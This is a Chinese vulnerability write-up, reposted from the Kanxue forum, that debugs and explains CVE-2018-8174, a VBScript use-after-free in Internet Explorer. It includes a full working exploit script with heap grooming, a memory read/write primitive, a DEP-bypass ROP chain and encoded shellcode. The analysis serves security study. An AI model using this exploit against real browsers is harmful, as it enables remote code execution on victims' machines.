CVE-2018-8174 “雙殺”0day 從UAF到Exploit

weixin_33866037發表於2019-01-03


4238783-307cd8733392fe65.jpg

前言

這個漏洞是由於VBS指令碼引擎在處理Class物件時存在釋放後重用導致的,原始利用樣本中的VBS程式碼有一定的混淆,主要是針對函式名和變數名以及常量,在經過本人還原後覺得這個漏洞還是比較有趣的,所以拿出來分享給大家一起學習。


實驗環境

作業系統:Windows 7 sp1 32位

瀏覽器:IE11.0.9600.17843

偵錯程式: IDA、windbg、x64dbg

原始Exploit樣本: https://www.exploit-db.com/exploits/44741


漏洞分析


1.POC程式碼 

<!doctype html>

Dim gNumber

Dim arrayA(6),arrayB(6)

Dim index

Dim gArray(40)

Dim hexA, hexB

Dim address

Dim memClassA

Dim classGetPA

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

address = 0

index = 0

Class claA

Private Sub Class_Terminate()

Set arrayA(index) = gNumber(1)

index = index + 1

gNumber(1) = 1

End Sub

End Class

Class testClass

End Class

Class memClass

Dim mem

Function P

End Function

Function SetProp(Value)

mem = Value

SetProp = 0

End Function

End Class

Class readMemClass

Dim mem

Function P0123456789

P0123456789 = LenB(mem(address+8))

End Function

Function SPP

End Function

End Class

Class swapObject

Public Default Property Get P

Dim object

P = 174088534690791e-324

For i = 0 To 6

arrayA(i) = 0

Next

Set object = New readMemClass

object.mem = hexA

For i = 0 To 6

Set arrayA(i) = object

Next

End Property

End Class

Sub UAF


For i = 0 To &h11

Set gArray(i) = New testClass

Next

For i = &h14 To &h26

Set gArray(i) = New memClass

Next


Msgbox "Create claA"

index = 0

For i = 0 To 6

ReDim gNumber(1)

Set gNumber(1) = New claA

Erase gNumber

Next

Set memClassA = New memClass

End Sub

Sub InitObjects

memClassA.SetProp(swapObjA)

End Sub

Sub StartExploit

UAF

InitObjects

End Sub

Set swapObjA = New swapObject

StartExploit


2.windbg開啟堆除錯支援 

開啟cmd輸入gflags.exe /i iexplore.exe +hpa

4238783-fc97beb79f72ae31


3.執行POC用windbg捕獲異常資訊

3.1 崩潰時暫存器資訊:

eax=06b0bfd0 ebx=6b770e50 ecx=00000009 edx=00000009 esi=0a04cf90 edi=00000009

eip=753e4971 esp=0585a558 ebp=0585a560 iopl=0 nv up ei pl nz na po nc

cs=001b  ss=0023 ds=0023 es=0023 fs=003b  gs=0000 efl=00010202


3.2 崩潰EIP處資訊:

753e4953 83f809          cmp     eax,9

753e4956 7430 je      OLEAUT32!VariantCopy+0x154 (753e4988)

753e4958 83f80d          cmp     eax,0Dh

753e495b 742b je      OLEAUT32!VariantCopy+0x154 (753e4988)

753e495d 33c0xor eax,eax

753e495f 5b pop ebx

753e4960 5f pop edi

753e4961 5e pop esi

753e4962 c9              leave

753e4963 c20800ret  8

753e4966 8b4608          mov     eax,dword ptr [esi+8]

753e4969 85c0            test    eax,eax

753e496b 0f8454f5ffff    je      OLEAUT32!VariantClear+0xc3 (753e3ec5)

753e4971 8b08            mov     ecx,dword ptr [eax]  ds:0023:068d5fd0=????????


3.3 EAX指向記憶體資訊:

0:008> dd eax

06b0bfd0  ???????? ???????? ???????? ????????

06b0bfe0  ???????? ???????? ???????? ????????


3.4 EAX上次記憶體管理資訊:

0:008> !heap -p -a eax

address 068d5fd0 found in

_DPH_HEAP_ROOT @ 6c1000

in free-ed allocation (DPH_HEAP_BLOCK:         VirtAddr         VirtSize)

6812d34:68d5000 2000

710190b2 verifier!AVrfDebugPageHeapFree+0x000000c2

76e866ac ntdll!RtlDebugFreeHeap+0x0000002f

76e4a13e ntdll!RtlpFreeHeap+0x0000005d

76e165a6 ntdll!RtlFreeHeap+0x00000142

756a98cd msvcrt!free+0x000000cd

729a717a vbscript!VBScriptClass::`scalar deleting destructor'+0x0000001a

729a71fd vbscript!VBScriptClass::Release+0x00000053

753e4977 OLEAUT32!VariantClear+0x000000b9

753fe325 OLEAUT32!ReleaseResources+0x000000a3

753fdfb3 OLEAUT32!_SafeArrayDestroyData+0x00000048

75405d2d OLEAUT32!SafeArrayDestroyData+0x0000000f

75405d13 OLEAUT32!Thunk_SafeArrayDestroyData+0x00000039

729f52d0 vbscript!VbsErase+0x00000050

72994787 vbscript!StaticEntryPoint::Call+0x0000002f

729957cb vbscript!CScriptRuntime::RunNoEH+0x00001d74

7299526e vbscript!CScriptRuntime::Run+0x000000c3


3.5 崩潰時堆疊資訊:

0:007> kv

ChildEBP RetAddr  Args to Child

04a3ac30 6ed91afa 086fef90 077f8dd0 086fef90 OLEAUT32!VariantClear+0xb3 (FPO: [Non-Fpo])

04a3ac4c 6e6121b0 086fef90 077f8dd0 086fef90 IEShims!NS_ATLMitigation::APIHook_VariantClear+0x5d (FPO: [Non-Fpo])

04a3ac68 6e613014 09e48f04 00000010 04a3af50 vbscript!VAR::Clear+0x2d (FPO: [Non-Fpo])

04a3aca0 6e6276b0 077f8dd0 00000001 05bb9e00 vbscript!AssignVar+0x96 (FPO: [Non-Fpo])

04a3aee4 6e61526e 04a3b070 ae1e0428 077f8e50 vbscript!CScriptRuntime::RunNoEH+0x2440 (FPO: [Non-Fpo])


 4.總結windbg異常資訊

從暫存器資訊中獲得崩潰時EIP = 0x753e4971 ,從對應EIP處觀察出EAX指向的記憶體已被釋放,通過檢視 上次記憶體管理髮現EAX指向的是一個VBScriptClass,只有指令碼中的Class被例項化時VBS指令碼引擎才會建立一個對應的VBScriptClass物件,再通過觀察堆疊資訊可以確定是AssignVar函式分配變數的時候崩潰的,那麼現在已經可以確定是類被釋放掉後還存在引用導致的。


5. x64dbg除錯分析

5.1 下載符號表

執行POC等待彈框後附加程式,下載符號表

4238783-60f271bffefc0759

5.2 對關鍵函式下斷點

符號表下載完成後重新執行POC, 等待彈框後附加程式 ,對VBScriptClass::Create、VBScriptClass::~VBScriptClass下斷,每當指令碼中New一個Class的時候指令碼引擎都會呼叫VBScriptClass::Create函式去建立一個VBScriptClass類,VBScriptClass::~VBScriptClass函式則是類的析構。

4238783-a59a6672da99764e

5.3 記錄類的申請與釋放

點掉彈框後會通過VBS引擎中的 VBScriptClass::Create 連續6次申請claA物件。

4238783-225516eae0705d04

單步到0x6ED09C9C,拿到申請的物件記憶體地址0x0528AFD0。

4238783-a2e08e156a5cf82b

F9直接執行後斷到引擎中類的釋放函式VBScriptClass::~VBScriptClass, 觀察ECX物件指標為0x0528AFD0,也就是說剛剛申請的物件這下又要被釋放了。

4238783-78aacdaaab660f6d

這時候需要注意的是在claA物件的釋放時,會觸發Terminate事件,通過觀察指令碼程式碼可以看出來,在事件進行時gNumber(1)中儲存了claA物件,在生命週期結束前,又把物件放入了arrayA(index),所以就算物件釋放了,arrayA(index)還是殘留了 claA的引用。

4238783-ef4f20e61e800369.png

F8到ret後再次觀察類的記憶體佈局,發現很多資料已經被釋放掉了。

4238783-bc892045d0ac05ca

5.4 觀察崩潰處資訊

Control+B開啟斷點文件,用空格暫時遮蔽類的建立與解構函式斷點。

4238783-3539553642f0f855

F9直接執行到崩潰點,可以看到VARIANT結構中的0x0528AFD0是上面釋放的claA物件地址,觀察下圖可以很清晰的看到,是釋放後的物件被重用了,關於VARIANT結構會在後面進行介紹。

4238783-c8df86ab3c743a05

再次回到VBS指令碼程式碼,可以看到在swapObject物件中,又對arrayA這個陣列進行了賦值,而此時在陣列中儲存的是claA物件,對陣列內資料賦值為0本來是不會有問題的,問題在於VBS指令碼引擎使用AssignVar函式對變數賦值時,在賦值之前還會檢查原來儲存的資料是不是一個物件,如果是一個物件還會呼叫VBScriptClass::Release函式去減少物件的引用計數,也就是在呼叫VBScriptClass::Release函式準備去減少引用計數的時候發生了記憶體訪問異常,導致了崩潰。


4238783-3549a29be23d8705.png

VBScriptClass::Release函式:

4238783-4c87d5e6cee23401


6. x64dbg除錯分析總結

在VBScriptClass::Create函式中建立名為claA的物件,因為刪除陣列而減少引用計數引發VBScriptClass::~VBScriptClass函式釋放claA物件,在釋放時觸發Terminate事件,在事件進行中將claA物件存在了arrayA這個陣列中, 而後又對arrayA這個陣列進行了填入0 ,由於填入0之前檢查了其中存入的是一個VBS指令碼物件,所以需要減少引用計數,但是物件已經被釋放掉了,虛表的記憶體不可訪問了,虛表不能訪問自然就崩潰了。


漏洞利用

1.必備資料結構

在利用前還需要對VARIANT這個結構有所瞭解,因為VBS指令碼引擎儲存資料時,預設使用VARIANT結構,vt欄位描述了資料的型別,wReserved1 - wReserved3保留, 變數資料 儲存在聯合體中。

struct tagVARIANT {

 union {

 struct __tagVARIANT {

VARTYPE vt;

WORD     wReserved1;

WORD     wReserved2;

WORD     wReserved3;

 union {

ULONGLONG      ullVal;/* VT_UI8                */

LONGLONG       llVal; /* VT_I8                 */

LONG           lVal;/* VT_I4                 */

BYTE           bVal;/* VT_UI1                */

SHORT          iVal;/* VT_I2                 */

FLOAT          fltVal;/* VT_R4                 */

DOUBLE         dblVal;/* VT_R8                 */

VARIANT_BOOL   boolVal; /* VT_BOOL               */

_VARIANT_BOOL bool;/* (obsolete)            */

SCODE          scode; /* VT_ERROR              */

CY             cyVal; /* VT_CY                 */

DATE           date;/* VT_DATE               */

BSTR           bstrVal; /* VT_BSTR               */

IUnknown *     punkVal; /* VT_UNKNOWN            */

IDispatch *    pdispVal;/* VT_DISPATCH           */

SAFEARRAY *    parray;/* VT_ARRAY              */

BYTE *         pbVal; /* VT_BYREF|VT_UI1       */

SHORT *        piVal; /* VT_BYREF|VT_I2        */

LONG *         plVal; /* VT_BYREF|VT_I4        */

LONGLONG *     pllVal;/* VT_BYREF|VT_I8        */

FLOAT *        pfltVal; /* VT_BYREF|VT_R4        */

DOUBLE *       pdblVal; /* VT_BYREF|VT_R8        */

VARIANT_BOOL *pboolVal;/* VT_BYREF|VT_BOOL      */

_VARIANT_BOOL *pbool;/* (obsolete)            */

SCODE *        pscode;/* VT_BYREF|VT_ERROR     */

CY *           pcyVal;/* VT_BYREF|VT_CY        */

DATE *         pdate; /* VT_BYREF|VT_DATE      */

BSTR *         pbstrVal;/* VT_BYREF|VT_BSTR      */

IUnknown **    ppunkVal;/* VT_BYREF|VT_UNKNOWN   */

IDispatch **   ppdispVal; /* VT_BYREF|VT_DISPATCH */

SAFEARRAY **   pparray; /* VT_BYREF|VT_ARRAY     */

VARIANT *      pvarVal; /* VT_BYREF|VT_VARIANT   */

PVOID          byref; /* Generic ByRef         */

CHAR           cVal;/* VT_I1                 */

USHORT         uiVal; /* VT_UI2                */

ULONG          ulVal; /* VT_UI4                */

INT            intVal;/* VT_INT                */

UINT           uintVal; /* VT_UINT               */

DECIMAL *      pdecVal; /* VT_BYREF|VT_DECIMAL   */

CHAR *         pcVal; /* VT_BYREF|VT_I1        */

USHORT *       puiVal;/* VT_BYREF|VT_UI2       */

ULONG *        pulVal;/* VT_BYREF|VT_UI4       */

ULONGLONG *    pullVal; /* VT_BYREF|VT_UI8       */

INT *          pintVal; /* VT_BYREF|VT_INT       */

UINT *         puintVal;/* VT_BYREF|VT_UINT      */

 struct __tagBRECORD {

PVOID          pvRecord;

IRecordInfo * pRecInfo;

} __VARIANT_NAME_4;/* VT_RECORD             */

} __VARIANT_NAME_3;

} __VARIANT_NAME_2;

DECIMAL decVal;

} __VARIANT_NAME_1;

};


以下是vt欄位的列舉型別:

enum VARENUM

{

VT_EMPTY    = 0,

VT_NULL = 1,

VT_I2   = 2,

VT_I4   = 3,

VT_R4   = 4,

VT_R8   = 5,

VT_CY   = 6,

VT_DATE = 7,

VT_BSTR = 8,

VT_DISPATCH = 9,

VT_ERROR    = 10,

VT_BOOL = 11,

VT_VARIANT  = 12,

VT_UNKNOWN  = 13,

VT_DECIMAL  = 14,

VT_I1   = 16,

VT_UI1  = 17,

VT_UI2  = 18,

VT_UI4  = 19,

VT_I8   = 20,

VT_UI8  = 21,

VT_INT  = 22,

VT_UINT = 23,

VT_VOID = 24,

VT_HRESULT  = 25,

VT_PTR  = 26,

VT_SAFEARRAY    = 27,

VT_CARRAY   = 28,

VT_USERDEFINED  = 29,

VT_LPSTR    = 30,

VT_LPWSTR   = 31,

VT_RECORD   = 36,

VT_INT_PTR  = 37,

VT_UINT_PTR = 38,

VT_FILETIME = 64,

VT_BLOB = 65,

VT_STREAM   = 66,

VT_STORAGE  = 67,

VT_STREAMED_OBJECT  = 68,

VT_STORED_OBJECT    = 69,

VT_BLOB_OBJECT  = 70,

VT_CF   = 71,

VT_CLSID    = 72,

VT_VERSIONED_STREAM = 73,

VT_BSTR_BLOB    = 0xfff,

VT_VECTOR   = 0x1000,

VT_ARRAY    = 0x2000,

VT_BYREF    = 0x4000,

VT_RESERVED = 0x8000,

VT_ILLEGAL  = 0xffff,

VT_ILLEGALMASKED    = 0xfff,

VT_TYPEMASK = 0xfff

} ;


2.完整利用POC

<!doctype html>

Dim gNumber

Dim arrayA(6),arrayB(6)

Dim index

Dim gArray(40)

Dim hexA, hexB

Dim address

Dim memClassA,memClassB

Dim swapA,swapB

Dim NtContinueAddr,VirtualProtectAddr

hexA = Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000")

hexB = Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")

address = 0

index = 0

Function GetUint32(Addr)

Dim value

memClassA.mem(address + 8) = Addr + 4

memClassA.mem(address) = 8                'type string

value = memClassA.P0123456789

memClassA.mem(address) = 2

GetUint32 = value

End Function

Function readWord(addr)

readWord = GetUint32(addr) And 65535

End Function

Function readByte(addr)

readByte = GetUint32(addr) And (&hFF)

End Function

Function GetBaseByDOSmodeSearch(in_addr)

Dim addr

addr = in_addr And &hFFFF0000

Do While GetUint32(addr+&h68)<>&h206E6920 Or GetUint32(addr+&h6C)<>&h20534F44

addr = addr-&h10000

Loop

GetBaseByDOSmodeSearch = addr

End Function

Function StrCompWrapper(addr, szName)

Dim str,i

str = ""

For i = 0 To Len(szName) - 1

str = str & Chr(readByte(addr+i))

Next

StrCompWrapper = StrComp(UCase(str), UCase(szName))

End Function

'base_address 模組基址   name_input輸入的模組名

Function GetBaseFromImport(base_address,name_input)

Dim import_rva,nt_header,descriptor,import_dir

Dim addr

'從PE讀取nt_header

nt_header = GetUint32(base_address + (&h3c))

'讀取匯入表偏移

import_rva = GetUint32(base_address + nt_header + &h80)

'計算出匯入表地址

import_dir = base_address + import_rva

descriptor = 0

Do While True

Dim NameOffset

NameOffset = GetUint32(import_dir + descriptor * (&h14)+&hC)

If NameOffset = 0 Then

GetBaseFromImport = &hBAAD0000

Exit Function

Else

If StrCompWrapper(base_address + NameOffset, name_input) = 0 Then

Exit Do

End If

End If

descriptor = descriptor+1

Loop

'隨便取一個匯入函式的地址

addr = GetUint32(import_dir + descriptor * (&h14)+&h10)

addr = GetUint32(base_address + addr)

'老套路獲取模組基址

GetBaseFromImport = GetBaseByDOSmodeSearch(addr)


End Function

Function GetProcAddr(dll_base,name)

Dim p, export_dir, index

Dim function_rvas, function_names, function_ordin

Dim Ordin

p = GetUint32(dll_base + &h3c)

p = GetUint32(dll_base + p + &h78)

export_dir = dll_base + p

function_rvas = dll_base + GetUint32(export_dir + &h1c)

function_names = dll_base + GetUint32(export_dir + &h20)

function_ordin = dll_base + GetUint32(export_dir + &h24)

index = 0

Do While True

Dim offset

offset = GetUint32(function_names + index * 4)

If StrCompWrapper(dll_base + offset, name) = 0 Then

Exit Do

End If

index = index+1

Loop

Ordin = readWord(function_ordin + index * 2)

p = GetUint32(function_rvas + Ordin * 4)

GetProcAddr = dll_base + p

End Function


Function GetShellcode()

hexCode = Unescape("%u0000%u0000%u0000%u0000") & Unescape("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100%u0065%u0000%u0000%u0000%u0000%u0000%ucc00%ucccc%ucccc%ucccc%ucccc")

GetShellcode = hexCode

End Function

Function BuildVirtualTable

Dim i,szNtContinueAddr,str,szAddr0,szAddr8,szAddr16,szAddr24


szNtContinueAddr = NumberToString(NtContinueAddr, 8)

szAddr0 = Mid(szNtContinueAddr,1,2)

szAddr8 = Mid(szNtContinueAddr,3,2)

szAddr16 = Mid(szNtContinueAddr,5,2)

szAddr24 = Mid(szNtContinueAddr,7,2)

str = ""

str = str & "%u0000%u" &szAddr24 &"00"

For i = 1 To 3

str = str & "%u" &szAddr8 &szAddr16

str = str & "%u" &szAddr24 &szAddr0

Next

str = str & "%u" & szAddr8 & szAddr16

str = str & "%u00" & szAddr0

BuildVirtualTable = Unescape(str)

End Function

Function NumberToString(ByVal Number, ByVal Length)

hNumber = Hex(Number)

If Len(hNumber) < Length Then

hNumber = String(Length - Len(hNumber), "0") & hNumber 'pad allign with zeros

Else

hNumber = Right(hNumber, Length)

End If

NumberToString = hNumber

End Function

Function EscapeAddress(ByVal value)

Dim High,Low

High = NumberToString((value And &hFFFF0000) / &h10000, 4)

Low = NumberToString(value And &hFFFF, 4)

EscapeAddress = Unescape("%u"&Low&"%u"&High)

End Function

Function WrapShellcodeWithNtContinueContext(ShellcodeAddrParam) 'bypass cfg

Dim ropChain

'pad1 0 - 10FDC

ropChain = String(34798, Unescape("%u4141"))

'rop chain

ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

ropChain = ropChain & EscapeAddress(ShellcodeAddrParam)

ropChain = ropChain & EscapeAddress(&h3000)

ropChain = ropChain & EscapeAddress(&h40)

ropChain = ropChain & EscapeAddress(ShellcodeAddrParam-8)

ropChain = ropChain & String(6, Unescape("%u4242"))

'構建攻擊所需的虛表

ropChain = ropChain & BuildVirtualTable()

'pad2 

ropChain = ropChain & String((&h80000 - LenB(ropChain)) / 2, Unescape("%u4141"))

WrapShellcodeWithNtContinueContext = ropChain

End Function


Function ExpandWithVirtualProtect(ropAddr)

Dim szContext

Dim Addr

'0 - 10FDC

Addr = ropAddr + &h23

szContext = ""

szContext = szContext & EscapeAddress(Addr)

szContext = szContext & String((&hb8 - LenB(szContext)) / 2, Unescape("%4141"))

szContext = szContext & EscapeAddress(VirtualProtectAddr)

szContext = szContext & EscapeAddress(&h1b)

szContext = szContext & EscapeAddress(0)

szContext = szContext & EscapeAddress(ropAddr)

szContext = szContext & EscapeAddress(&h23)

szContext = szContext & String((&400-LenB(szContext))/2,Unescape("%u4343"))

ExpandWithVirtualProtect = szContext

End Function

Sub ExecuteShellcode

'把型別改成0x4D

memClassA.mem(address) = &h4d

Msgbox "ExecuteShellcode"

memClassA.mem(address + 8) = 0

End Sub

Class claA

Private Sub Class_Terminate()

Msgbox "Set arrayA"

Set arrayA(index) = gNumber(1)

index = index + 1

gNumber(1) = 1

End Sub

End Class

Class claB

Private Sub Class_Terminate()

Set arrayB(index)=gNumber(1)

index=index+1

gNumber(1)=1

End Sub

End Class

Class testClass

End Class


Class memClass

Dim mem

Function P

End Function

Function SetProp(Value)

 Msgbox "SetProp"

mem = Value

Msgbox "SetProp = 0"

SetProp = 0

End Function

End Class

Class readMemClass

Dim mem

Function P0123456789

P0123456789 = LenB(mem(address+8))

End Function

Function SPP

End Function

End Class


Class swapObjectA

Public Default Property Get P

Dim object

P = 174088534690791e-324

For i = 0 To 6

arrayA(i) = 0

Next

Set object = New readMemClass

Msgbox "object.mem = hexA"

object.mem = hexA

For i = 0 To 6

Set arrayA(i) = object

Next

End Property

End Class


Class swapObjectB

Public Default Property Get P

Dim object

P=636598737289582e-328

For i = 0 To 6

arrayB(i) = 0

Next

Set object = New readMemClass

object.mem = hexB

For i = 0 To 6

Set arrayB(i) = object

Next

End Property

End Class

Set swapA = New swapObjectA

Set swapB = New swapObjectB

Sub UAF


For i = 0 To &h11

Set gArray(i) = New testClass

Next

For i = &h14 To &h26

Set gArray(i) = New memClass

Next

index = 0

For i = 0 To 6

ReDim gNumber(1)

Set gNumber(1) = New claA

Erase gNumber

Next

Set memClassA = New memClass

arrayB(0) = 0

index = 0

For i = 0 To 6

ReDim gNumber(1)

Set gNumber(1) = New claB

Erase gNumber

Next

Set memClassB = New memClass

End Sub

Sub InitObjects

Msgbox "InitObjects"

memClassA.SetProp(swapA)

'memClassA現在的型別是readMemClass 

memClassB.SetProp(swapB)

'memClassB現在的型別是readMemClass 

address = memClassB.mem

End Sub

Sub testSub

End Sub

Function GetMemValue

memClassA.mem(address) = 3

GetMemValue = memClassA.mem(address + 8)

End Function

Sub SetMemValue(ByRef in_Ref)

memClassA.mem(address + 8) = in_Ref

End Sub

Function LeakVBAddr

On Error Resume Next

Dim pCScriptEntryPointObject

pCScriptEntryPointObject = testSub

pCScriptEntryPointObject = null

SetMemValue pCScriptEntryPointObject

LeakVBAddr = GetMemValue()

End Function

Sub StartExploit


UAF

InitObjects

pCScriptEntryPointObject = LeakVBAddr()

pVTable = GetUint32(pCScriptEntryPointObject)

'Msgbox "CScriptEntryPointObject Leak: 0x" & Hex(pCScriptEntryPointObject)

'Msgbox "pVTable Leak: 0x" & Hex(pVTable)

vbs_base = GetBaseByDOSmodeSearch(pVTable)

'從PE搜尋對應模組的匯入表 獲取其他模組基址

msv_base = GetBaseFromImport(vbs_base, "msvcrt.dll")

krb_base = GetBaseFromImport(msv_base, "kernelbase.dll")

ntd_base = GetBaseFromImport(msv_base, "ntdll.dll")

VirtualProtectAddr = GetProcAddr(krb_base, "VirtualProtect")

NtContinueAddr = GetProcAddr(ntd_base, "NtContinue")

'Msgbox "VirtualProtectAddr: 0x" & Hex(VirtualProtectAddr)

'Msgbox "NtContinueAddr: 0x" & Hex(NtContinueAddr)

SetMemValue GetShellcode()

ShellcodeAddr = GetMemValue() + 8

'WrapShellcodeWithNtContinueContext 構建ROP

SetMemValue WrapShellcodeWithNtContinueContext(ShellcodeAddr)

ropAddr = GetMemValue() + 69596

'ExpandWithVirtualProtect 構建CONTEXT

SetMemValue ExpandWithVirtualProtect(ropAddr)

GetMemValue()

ExecuteShellcode

End Sub

StartExploit


3. windbg關閉堆除錯支援 

開啟cmd輸入gflags.exe /i iexplore.exe -hpa

4238783-bb7ad7102c423965


4. x64dbg分析Class佔位

4.1 對關鍵函式下斷

執行POC,等待彈框後附加程式 ,對VBScriptClass::Create、VBScriptClass::~VBScriptClass、AssignVar下斷:

4238783-d8bac80ad12c1185

4.2 Class佔位分析

點掉“Set arrayA”的彈框後,第一次斷到AssignVar處,此時正要把claA物件寫入arrayA(0)中,通過觀察輸入的VARIANT結構發現其中儲存的是一個VARIANT*型別的指標, 指標數值為0x02848E18,同時記錄 arrayA(0) 的地址是0x03AD2FD8。

4238783-215da13be1abf43e

VARIANT*指標指向的是一個型別為IDispatch*的VARIANT結構,在VBS指令碼引擎中,IDispatch* 就是Class型別。

4238783-f7793f5ff1869059

再看看VBScriptClass結構資訊,在這裡需要說明一點,VBS指令碼程式碼裡所有通過Class關鍵字例項化的物件在引擎中都是用VBScriptClass結構來儲存的。

4238783-178e2f8db139cb90

F9到VBScriptClass::~VBScriptClass函式,發現此時被釋放的物件正是存在arrayA(0)中的物件,物件地址為0x027DB0C0。

4238783-336d451c39fd5e09

再F9到VBScriptClass::Create,發現再次申請的物件記憶體地址和上次被釋放的物件記憶體地址一摸一樣,都是0x027DB0C0,也就是說明被新物件佔位了。

4238783-7a367d5f9edf7984.png

4.3 memClass佔位

在申請完6次claA物件,又釋放了6次後,此時arrayA(0) - arrayA(6) 都指向了一個被釋放的物件的記憶體地址,此時再次重新申請memClass物件, arrayA(0) - arrayA(6)  就指向了新申請的memClass。

4238783-755a086f1c9dd338.png

佔位後 arrayA(0) 的記憶體佈局如下:

4238783-f38ead326de961b0

記憶體中的物件結構資訊:

4238783-850081e0cdd0e634

4.4 swapObjectA類中再次佔位

此時 arrayA(0) - arrayA(6) 都存著memClass物件,對arrayA全部填入0後又導致了memClass的釋放,釋放後重新申請readMemClass物件進行佔位。

4238783-85dde619d7a1e180

4.5 利用Class佔位實現任意地址讀寫

明白了上面佔位的原理後,再次啟動poc,等待彈出"SetProp"後附加程式,對AssignVar函式下斷,拿到memClass的記憶體佈局,memClass.mem的記憶體地址為0x01D37B30。

4238783-7bbc2d1e6bff8277.png

F9執行等待彈出"object.mem = hexA"後,再次斷AssignVar函式,拿到readMemClass的記憶體佈局,readMemClass.mem的記憶體地址為0x01D37B3C。

4238783-89250930a55aaf10

由於VAR這個結構是未知的,目前根據逆向發現偏移0x0處是VARIANT結構,偏移0x30處是一個不定長的名稱字串,在一路F8後,readMemClass.mem寫入了hexA,可以看到資料型別為 BSTR。

4238783-aec91573ab04b138

根據前面的分析memClass.mem的記憶體地址為0x01D37B30,readMemClass.mem的記憶體地址為0x01D37B3C,記憶體已經重疊,由於在SetProp函式中使用的是memClass的佈局,所以在拿到Value的返回值對mem成員變數賦值時會產生覆蓋,從而改變了readMemClass.mem的資料型別,當Value等於swapObjectA時,會將mem變數型別改為VARIANT*,Value等於swapObjectB時,會將變數型別改為Long。

4238783-a122f2ba557cecf6

當執行完InitObjects函式時,memClassA和memClassB的型別都變成readMemClass,memClassA提供資料讀寫功能支援,memClassB用來傳遞讀寫的引數資訊。

4238783-3b6c4cd9ce93005d.png

5. 任意地址讀寫的利用

5.1 獲取 CScriptEntryPointObject 物件

在LeakVBAddr函式中,先通過老套路獲取CScriptEntryPointObject,又通過SetMemValue函式把pCScriptEntryPointObject寫入address指向的記憶體,然後通過GetMemValue改變address中變數的型別為Long再拿出來,為什麼要繞一大圈做這個事情呢,是因為pCScriptEntryPointObject屬性為null,是不可讀的,只有改為Long型,才能讀取出4位元組資料。

4238783-4ac0352f8d312ee5

5.2 獲取 CScriptEntryPointObject 物件的虛表

呼叫GetUint32讀取目標地址的記憶體

4238783-2bb451fb885f14b0

GetUint32 函式

4238783-bd91c2f2bbf9e3d4

6. 通過物件虛表獲取vbs模組基址

4238783-2def8c30f09091cf

7. 通過匯入表獲取其他模組基址

4238783-5aa9f95f7b72ee11

8. 通過模組基址分析PE獲取匯出函式

4238783-2dd5bb0557b1b6fd

9. ROP構造

4238783-1c7b79b922250694

10. 上下文構造

4238783-2359a7573e91293f

11. 利用過程除錯驗證

重新執行POC等待彈出"ExecuteShellcode"後 附加,對AssginVar函式下斷,F8單步到呼叫Var::Clear處F7進入函式。

4238783-42aff14b5e1cf8c8

資料型別判斷,已經被故意構造成0x4D了。

4238783-6081d89d161083d6

繼續F8到此處,可以看到已經在訪問精心構造的虛表了。

4238783-fb0803d439125119

對VirtualProtect下斷後直接F9,斷下來後可以看到此時ESP也指向了ROP鏈。

4238783-6dd6a7a2b2f96a0a

一路F8後來到shellcode處。

4238783-323784c1b5727498

F9後計算器彈出。

4238783-2bf50caf5a2c810c

總結

這個漏洞就是利用Class佔位調整類中變數的屬性從而獲得了任意地址寫入的能力, 然後通過CScriptEntryPoint獲取VBS指令碼引擎模組在記憶體中的基址,又通過分析VBS模組PE資訊進而獲取其他系統關鍵模組基址, 拿到系統關鍵模組基址就可以獲取NtContinue、VirtualProtect繞過DEP了,值得學習的是最後攻擊虛表去呼叫的ZwContinue改變執行緒上下文。


原文作者:來杯檸檬紅茶

原文連結:https://bbs.pediy.com/thread-248477.htm

轉載請註明:轉自看雪學院


更多閱讀:

[原創]010Editor 9.0序號產生器演算法分析和爆破版(免序號產生器版)

[原創]一個Android殼簡單實現

一個簡單的CrackMe破解

[原創]硬體斷點和原理與實現

相關文章